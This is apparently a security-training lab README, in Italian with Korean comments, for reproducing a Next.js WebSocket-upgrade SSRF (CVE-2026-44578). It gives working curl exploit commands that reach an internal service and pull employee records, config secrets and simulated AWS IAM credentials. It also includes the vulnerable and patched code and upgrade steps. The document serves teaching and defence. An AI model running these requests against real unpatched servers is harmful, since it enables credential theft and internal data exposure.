
Exploit proof-of-concept per CVE-2026-44578 che riproduce la condizione di vulnerabilità, consentendo ai ricercatori di sicurezza di validare i sistemi interessati e valutare le mitigazioni.
Security Academy CERT Project Ambiente pratico di riproduzione di vulnerabilità per la demo dei mentor
| Voce | Contenuto |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (Alto) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Versioni interessate | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| Versioni con patch | 15.5.16+, 16.2.5+ |
| Autenticazione richiesta | No (Non autenticato) |
Vulnerabilità in cui il gestore dell'upgrade WebSocket di Next.js (upgradeHandler) inoltra senza validazione una
URI in forma assoluta (RFC 7230 §5.3.2) inserita nella request line HTTP verso un servizio interno.
È possibile inviare richieste HTTP arbitrarie a servizi interni non accessibili dall'esterno (SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, versione vulnerabile) └── internal-svc (FastAPI + SQLite, solo rete interna)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
Al termine della build sono necessari 30-60 secondi affinché Next.js sia pronto.
Verifica della disponibilità:
curl -s http://localhost:3000/api/hello | grep ok
Una normale richiesta HTTP include solo il percorso nella forma GET /path HTTP/1.1,
ma RFC 7230 §5.3.2 consente la absolute-form, che inserisce l'URL completo nella request line.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← URI in forma assoluta Host: localhost:3000 Connection: Upgrade Upgrade: websocket
L'upgradeHandler di Next.js analizza questo URL e, se parsedUrl.protocol è presente,
chiama proxyRequest() senza validare la destinazione.
Con l'opzione curl --request-target è possibile specificare direttamente la request line.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ Restituisce nome, email, stipendio e hash bcrypt in blocco
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
parsedUrl.protocol esiste, si passa subito al proxy. Che l'host di destinazione sia un IP interno
o l'IMDS (169.254.169.254), viene inoltrato in ogni caso.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished è true solo quando la richiesta corrisponde a una route valida all'interno di resolveRoutes.
Gli URI in forma assoluta non corrispondono a route valide, quindi finished === false → blocco del proxy.
patch-for-lab.js)Nell'ambiente di riproduzione della vulnerabilità, resolve-routes.js interpreta erroneamente :// come slash consecutivi e
l'operazione di riduzione di http://host/path in http:/host/path blocca accidentalmente l'SSRF.
patch-for-lab.js disabilita questo comportamento in modo che la vulnerabilità possa essere riprodotta correttamente.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
Applica direttamente la logica di patch ufficiale alla versione corrente tramite patch-defense.js incluso in questo lab:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
Dopo l'applicazione della patch, le richieste SSRF vengono bloccate senza risposta.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # patch resolve-routes (per la riproduzione della SSRF) │ ├── patch-defense.js # patch di difesa di router-server (per dimostrare la difesa tramite modifica del codice) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # servizio interno FastAPI (SQLite + simulazione IMDS) │ └── requirements.txt └── exploit/ └── demo.sh # script di demo automatica in 6 fasi
Questo repository è fornito esclusivamente a scopo di formazione sulla sicurezza e ricerca sulle vulnerabilità.
L'uso per attacchi non autorizzati a servizi reali è illegale,
e tutti i test devono essere eseguiti solo su ambienti di propria proprietà o per i quali si dispone di esplicita autorizzazione.